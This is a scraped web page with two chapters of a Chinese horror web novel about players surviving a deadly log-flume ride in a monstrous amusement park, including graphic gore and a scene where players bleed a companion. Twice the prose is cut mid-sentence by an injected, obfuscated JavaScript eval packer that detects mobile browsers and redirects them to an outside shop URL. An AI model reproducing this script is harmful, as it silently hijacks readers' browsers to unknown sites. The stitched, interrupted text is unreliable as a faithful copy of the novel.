《无限流也要退休返聘吗》 3. 请不要离开游乐场（三） 蒋稚刚想开口说些什么，却见怀玉抬脚向远离入口的方向走去，连忙跟上。 二人停在一个灰扑扑的设施面前。 设施被放置在一座拱桥上，拱桥的下方是激流勇进的行驶轨道，看样子游玩途中游览车会经过这里。 它的样子更像电玩城常见的固定底座激光枪，腔体填充的却不是空包弹或飞镖，而是一种浑浊、脓黄色的液体。 看到蒋稚困惑的神情，怀玉主动为她解释。 “通常激流勇进会存在一个伴生设施，留给亲友等候或拍照使用。在这里，等待的人可以投币激活水枪，向激流勇进车上的人喷水，以达成整蛊效果，游乐园还能再多添一笔小收入。” 不过，任谁看了都知道，眼前的水枪里填充的绝非正常游乐园所使用的纯净水。 蒋稚恍然大悟：“所以这里就是那个伴生水枪？” 她看看远处她们原本站位到这里的距离，再看看这个毫不起眼的水枪，肃然起敬：“姐你也懂太多了吧，怎么知道这里会有线索的？” 怀玉没有接话，她的全部心神都放在眼前的水枪上。 她上手试着操作了一下，发现不知是生锈还是什么原因，这三把水枪准星可移动的幅度很小，远不像能覆盖全场的样子。 尝试着扣动扳机，却发现扳机位置的卡扣已经被锁死——看起来也就挪动位置预演一下，真想玩一把就要钱了。 无需纠结犹豫要不要真的尝试一下，因为她的睡衣没有口袋，身上一分钱也没有。 没什么新发现了，她示意蒋稚离开。 “一会儿乘坐项目前别着急，先细心观察座位的差异。我猜其中一定有不会被水枪波及的位置。” 蒋稚点头应和，此时她无比庆幸自己跟上来的这个决定，如果换作是她自己前来，此刻恐怕已经一鼓作气冲进项目当中了，哪里会发现这么多线索？ 再耽搁下去没太多意义，二人一同循着入口，迈入那片黑暗之中。 - 走进门内，嘈杂的喧闹声立时灌进耳道。 这显然违背常理，二人站在门外时，即使无限靠近通道，她们也没有听到丝毫响动，但按照当下的音量计算，即使在100米外，她们也能够听见其中的动静才对。 最关键的是…… 怀玉看着四下昏暗的灯光，以及光源的阴影处怪异的深色污渍，将脚步放轻。 最关键的是，里面打闹嬉笑的声音吵吵嚷嚷。 如果是玩家，此刻是绝对不会有心思调笑的。 那么正在排队的…是什么？ 在走过冗长通道、终于踏入排队区时，这个问题同样有了解释。 那是一个又一个面色红润、穿搭各异的游客。三两成群的小孩凑在一起嬉戏打闹，不时有孩子奔跑着穿过人群，撞到旁人，引发短暂的混乱；也有姿态亲密的情侣相依偎，正凑在一起小声昵语。 而当怀玉和蒋稚踏入排队区时，这和谐的一切好似被按下无声暂停键，所有人的动作都定格在上一个瞬间。 下一刻，他们的身体分毫未动，头却像被抽去了“转头”时的缓冲帧，霎时变成齐刷刷盯着二人的方向！ 说是盯其实不太准确，因为直到现在，她们终于看清了这群人的相貌。 每一个。 他们每一个每一个都没有脸。 他们的头发正常地生长在头顶与鬓角两侧，其中几个女孩的刘海弧度都那样自然而好看。 但本该是五官的地方一片平坦，没有肌肤下骨骼的起伏，也没有器官。 这幅场景是正常人难以想象到的诡谲，人很难具象化地想象出完全未知的东西，就像现在很难具象地想象出一个人脸上如果什么都没有应该是怎样的状态—— 他们仿佛天生没有五官，因此头骨在长合时没有预留双眼的凹洞、眉骨鼻骨的起伏。他们的脸型是另一种自圆其说般的立体和流畅。 倘若凝视他们太久，人也会恍然觉得，这样也应该是没错的，或许世界上的确有这样一群人，天生就应该长成这副模样。 蒋稚脸都憋红了，才堪堪把险些冲破喉咙的尖叫咽了回去。 吞咽得太狼狈，口水呛进气管，她没忍住，低低咳了一声。 很奇怪，那些人分明没有眼睛，蒋稚却强烈感觉到他们都向自己投来了不怀好意的视线。因此她几乎是拼了命，绽开了她演技巅峰最自然的一个笑容。 “唉，最近确实有些开始降温了。姐，早知道我就听你的多穿点了。” 一身睡衣、看起来的确更暖和一点的怀玉：…… 行吧，也是难为蒋稚都吓成这样还能找借口搪塞了。 她牵过对方的手，将体温渡过去，语调不急不缓：“算了，毕竟是出来玩，想穿得漂亮一点也正常，毕竟都是为了玩得更开心嘛。” 玩得更开心。 像是被这个关键词激活，暂停的剧情得以继续发展。又是一次抽帧般的刷新，所有人再次恢复到刚刚怀玉二人踏入前的状态，就连动作都分毫不差。 等候区恢复了原本的喧嚣，这场欢乐剧目继续上演。 没有人再去关注怀玉二人在做什么，可这并不是一种忽视，更像是相处和谐下的彼此接纳。 蒋稚面色复杂。 这种感觉…就像她们已经得到某种“认可”，因此被准许融入其中。 怀玉面色不改，走到队伍的最末尾。视线投向前方队伍转角处的角落。 刚刚她就注意到了，在角落里有几个人很不寻常，他们没有转过身，因此在那一个瞬间与NPC们格格不入。 走近仔细看，确实是三个玩家没有错。 对方是两男一女的组合，其中一个男性正是自我介绍时通关了一场的玩家之一。 看样子应该是在她们观察水枪的时候，对方后来居上，率先进入了排队区。 这三人很显然刚进来时也被“他们”吓到过，此时两个新人仍在微微发抖，像两只小鹌鹑，躲在唯一老玩家身后，看天看地就是不看她们，俨然没有上来搭话的想法。 倒是唯一的那个老玩家，看到怀玉，似是回想起了对方之前的壮举，眼底闪过一丝警惕。催着另外两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041176|194686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟着前行的人流快速走远了几步。 怀玉不置可否，人实在太多，她连对方的名字都没有记住，也着实懒得关注。 她正在思考梳理这个副本。 她同生存游戏打交道时间很长，很清楚游戏的作风。对方俨然并非把玩家当作耗材或取乐对象，也不喜欢让玩家无意义送死。 因此，每个副本当中，一定不会出现必死局面，破局的方法必然藏在副本之中。 而激流勇进这种独立项目的过关方式，就一定会在这个项目附近。 刚刚发现的水枪射程算作第一个，那么后续的杀机… 怀玉思考着，无意识跟随队伍前行。 然后，她的衣角就突然被人揪了一下。对方像是怕吓到她一般，动作很轻，胜在连续。 怀玉：？ 她还以为自己的睡衣开了振动模式。那很高级了。 她偏头，向身旁不停拽她的蒋稚投以疑惑目光。 蒋稚已然完全从刚刚的恐惧情绪中脱离出来，眼睛很亮，拽着怀玉小幅度调整了下位置。 而后怀玉发现，二人的站位刚好可以越过前面一排的人群看到轨道游戏车上的情景。 此时前一趟车次刚刚回归，正在缓慢减速以便停泊到固定位置。与出发时的生机勃勃不同，归来的车上可谓是一片尸山血海。 整辆车连带车身，从里到外全部散发着恶臭的气味，车上淌满浅红色与油黄色的交织混合物，零星的碎肉和挂着白色筋腱的骨殖嵌在浓稠的液体里。 怀玉判断了一下，发现那些液体应该是血液、脑浆、脂肪半融化后的状态。 有什么腐蚀了他们。怀玉几乎下意识地想起在门口拱桥看到的水枪。 这时，轨道车停稳，上面仅剩的五个活人陆续走了下来。 遭遇了这样的惨案，他们的姿态看起来却并无半点恐惧，反而像极度开心般又蹦又跳，留恋在这片区域不愿离开。 仿佛能乘坐一次激流勇进是多么令人幸福的事情。 人类完整体离开后，车上没了遮挡，怀玉得以更清晰地观察到那些人类碎片的分布。 游览车座位一共四排，每排四个位置，除却刚刚离开的五人，余下应该还有11具尸|体才对，而眼下完整的尸身却少得可怜。 浅红与油黄的混合物堆得太满，几乎足够漫到人的小腿部位，混淆了一切可能存在的线索。 而怀玉还是敏锐地发现，相比后排座位，第一排座椅上的碎肉与残肢会更多一些、状态也更加完整。 而后排几乎很难看见完整的人类躯体，少见的几块残躯边缘亦出现了腐蚀痕迹。 液体是可以流淌的，固体却不太可能无端改变位置。 也就是说，一定是第一排遭受的腐蚀更小、甚至是没有，因此第一排座位上的人才能得以保留一些断臂残肢，而非腐蚀成流体。 结合水枪的射程，怀玉心中有了答案。 这很冒险，但是… 怀玉用指尖在蒋稚掌心轻轻划出字的轨迹。 “一会儿上车，坐第一排。” 4. 请不要离开游乐场（四） 排队的人流在缓速前进，眼看着马上轮到她们乘坐。蒋稚读懂怀玉的暗语，有些懵。 像激流勇进这样的项目，通常第一排最容易被飞溅的水花淋湿，放在副本里，更是怎么看怎么不安定的一个存在。 好在蒋稚此人生平最大的优点之一，就是该听话时绝对听话。 又是一班轨道车驶入，在前面挤挤攘攘的抢座下，蒋稚心一横，跟着怀玉，毅然坐上了无人问津的第一排。 副本还算有最后的一丝道德心，前一辆车留下的污秽在迎接新一批客人时会自动清除，否则蒋稚真的会疑心自己究竟是否有勇气真的坐到一滩血泥里去。 列车在一阵童趣的伴奏中正式启动，却并非常规的爬坡，而是缓缓驶入一座阴森的停泊坞之中。 “叮咚——欢迎来到H先生的惊喜商店！” 一道尖利的男声在近乎密闭的坞中响起，下一刻，一只惨白而细瘦的手自车头前猛然伸出！ 整个车身都因这股巨大的力量被按得一晃，随后，一道黑色的身影从污浊的水里缓缓爬出，站到车头上。 “挑战急流的勇士们啊！在前进的过程中，你们是否需要一些小小的帮助？”H先生将另一只手中拎着的东西高举展示，贪婪的目光从每个人脸上扫过。 “小道消息——池子里的水可不干净，偷懒的管理员至少有两个月没有换过水了！大家都不希望让肮脏的池水弄臭自己的漂亮衣服吧？” 举起的东西随他的动作被抖落开来，赫然是几件崭新的一次性雨衣。 “H先生的商品，绝对干净崭新的雨衣，只需要付出一点点代价就可以拿到手。怎么样？要买一件吗？” 怀玉肃然起敬。 这年头的小商贩为了卖货也太拼了吧？怪不得网上都说个体创业着实艰难呢。 “…雨衣要怎么卖？”坐在第一排最边上的年轻小伙NPC试探开口。 怀玉记得他最开始并没有想坐第一排，只是因为其他排的好位置早已被人抢先一步占满，在管理员的催促下，他才不得不坐上了这个位置。 “好问题！！”H先生兴奋地凑近年轻小伙，“今天只剩最后几件了，为了早点收工，我便宜点卖给你们，怎样？” “每个人只需要2公斤重的肉，就可以和我交换一件雨衣哦！绝对实惠、物美价廉——几乎是进货价卖给你们了！游乐园其他摊贩里没有比我更便宜的！” 怀玉：骗鬼呢，园外的摊贩可能只要1.5公斤，而且一定说的是“进了游乐园就贵了”。 资深打工人可谓深谙其道。 车上的其他游客却因H先生的这句话陷入骚乱之中。 他们现在都在游览车上无法离开，肉从哪来自然不言而喻。 众人举棋不定的时候，后排座位处却传来一道令人毛骨悚然的提问： “肉…必须是自己身上的吗？” 怀玉回头看过去，是排队在她们前面的那三个玩家，他们也巧合坐上了这趟车，而提问的正是其中唯一的那个老玩家。 老玩家的提问似乎是正中H先生下怀，这位商人像杂技演员走平衡木一样，踩着游览车狭窄的侧壁走到对方面前。 “各凭本事，先生。我做交易从不问对方的筹码来历。”他靠得更近了，仿佛是想在老玩家身上嗅到某种气息，“不过，你们是游乐园特邀的幸运嘉宾，待遇自然不同…你们每人只需要给我一杯血做交换就可以，怎么样？” “当然，必须是幸运游客的血哦。” 听到这话，老玩家的第一反应是看向第一排的怀玉和蒋稚，却不想直直对上怀玉看过来的目光。 他心中无端发毛，匆匆错开眼神，神色没那么好看。 “好啦！商店开业时间有限，2分钟内还没有做好决定的游客，就祈祷你们的皮肤足够坚韧吧！嘻嘻嘻…” H先生说完，将小刀精准抛到每个人身前，洋洋自得开始准备看戏。 怀玉拾起这把刀，在掌心中摩挲。 这是她来到这个副本后见到的第一个堪称武器的东西，得想个办法顺走。 蒋稚看到怀玉把玩匕首，误解了她的意思，咬咬牙拿起用来接血的杯子：“这一杯也就300ml左右，我来！” 长痛不如短痛，她一狠心就要朝手臂划去。 刀尖将将抵上肌肤时，她的手腕被一只有力的手紧紧攫住。 怀玉松开对蒋稚的禁锢，一并将那柄刀抽走。 “…不用。”好险，再晚一秒她就得上急救手段了。 蒋稚茫然：“啊？” “我们不买。”怀玉将两柄匕首收拢一处，以物理方式禁止了蒋稚再度接触危险物品，示意对方观察后排。 后方的几排位置上，气氛就远没有如此其乐融融。这辆列车似乎存在着某种蛊惑力，H先生的话轻易给了太多人以危机感，现在大家都迫切地想要一件雨衣。 此时的“人们”看上去已不复最初的期待和喜悦，充斥着惊恐、紧张的碎碎念飘在坞中。 “不行…我需要一件雨衣！把我的手臂给你，我要雨衣！” “替我出一份肉好不好！我会娶你会养你的！相信我！” “啊——不要！好痛、我的肉…求求你们放过我！” 渐渐地，理智仿佛被吞噬殆尽，场内只剩下此起彼伏的叫骂与呼痛声。 “救命！放开我！流那么多血我会死的…！” 这道声音引起了怀玉注意，她的目光锁定中间的第三排座椅，那里正是另外三名玩家的位置。 此时，坐在中间的女性新玩家正被一左一右两个玩家死死按住，她的手臂被划出一道深可见骨的伤口，血液正汩汩流出，填进老玩家手中的杯子中。 三个杯子里有两个已经装满血液，对比毫发无伤的两个男玩家，再看女孩隐隐泛着死气的苍白面容，不难猜测发生了什么。 他们担忧取血会带来不利的后果，因此决定抛弃这个女玩家，用她的血和生命来探路。 第三个杯子终于盛满，女玩家的哭声也逐渐微弱。 怀玉定定看了几眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041177|194686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个男玩家的脸，转回身。 即将启动的列车、将近1000cc的出血量，她不是超人，能力有限，救不了对方。 不过如果女玩家死了，下次再见到这两人，她不介意顺手替对方报仇。 2分钟计时很快结束，超过四分之三的游客都准备好了足量的筹码，一一和H先生交换。 剩下的人，除了怀玉和蒋稚这两个异类，都是迟迟未能狠下心真的割肉的犹豫者。 H先生神情餍足，交换来的血肉有一半都当场进了他的肚子，剩下的他要好好珍惜起来，下一顿给自己做烧烤吃。 他黑漆漆的眼珠终于盯到了怀玉身上：“你们两个怎么还没做好决定？不要雨衣了吗？” 他其实还有点渴呢。 “是的。”怀玉面不改色，报以礼貌微笑，“谢谢您，我们不需要。” “哼…好吧！那就只能祝你们好运了…” H先生显得颇为不忿，他将自己的战利品装好，露出意味深长的笑容。 “有的时候不知道水里藏着什么也是一种幸福，享受接下来的旅程吧！哈哈哈哈——” 扑通！ H先生背朝下跌进污黑的水里，身形消失不见。 停滞许久的游览车终于缓缓启动，好像刚刚的停靠就只是为了强行穿插一个购物环节。 蒋稚有些忧心地看向怀玉。 怀玉正在叹气。 那两把刀随着H先生的消失也一同消散无踪，她余光观察了旁边割肉换雨衣的年轻NPC，发现对方的刀也不见踪影。看起来这柄刀只是一个用来割肉放血的限时道具，玩家无法带离。 怀玉：小气鬼喝凉水，等我在这个副本找到举报电话，第一个举报你无照经营^ ^ 暗戳戳诅咒了H先生一番，见游览车的运行再无异样，怀玉轻声为蒋稚解答。 她很清楚对方想要问什么，蒋稚的行为足以彰显这是一个聪明而可靠的女孩，她也愿意多教对方一点，帮她能更好地活下去。 “别忘了广播的话——我们是幸运游客，要玩得开心。” 这个副本设计得看似花里胡哨，其实在一开始就已经给出了通关线索。 她们是嘉年华的幸运游客，受邀来到游乐园游玩的，离开前还要给出对应的反馈。放在现实世界来看，其实更像是“达人探店”一类的身份。 而在这个身份下，最能够让游乐园满意的，就是她们在园内玩得足够开心。 最初的广播话语、让周围NPC恢复正常的那句话、存活游客离开时的表情，无一不在提醒大家“玩得开心”这件事。 可开心的评判标准是主观的，因此游乐园一定对此存在一个客观定义，这个定义布告栏也早就给出答案。 六大特色项目是勇敢者的游戏。 就连H先生出现时，也在用“挑战急流的勇士”这种称呼暗示大家。 因此对于激流勇进而言……主动坐在第一排、拒绝穿雨衣，成为勇敢者的象征，在某种意义上，就代表玩得开心。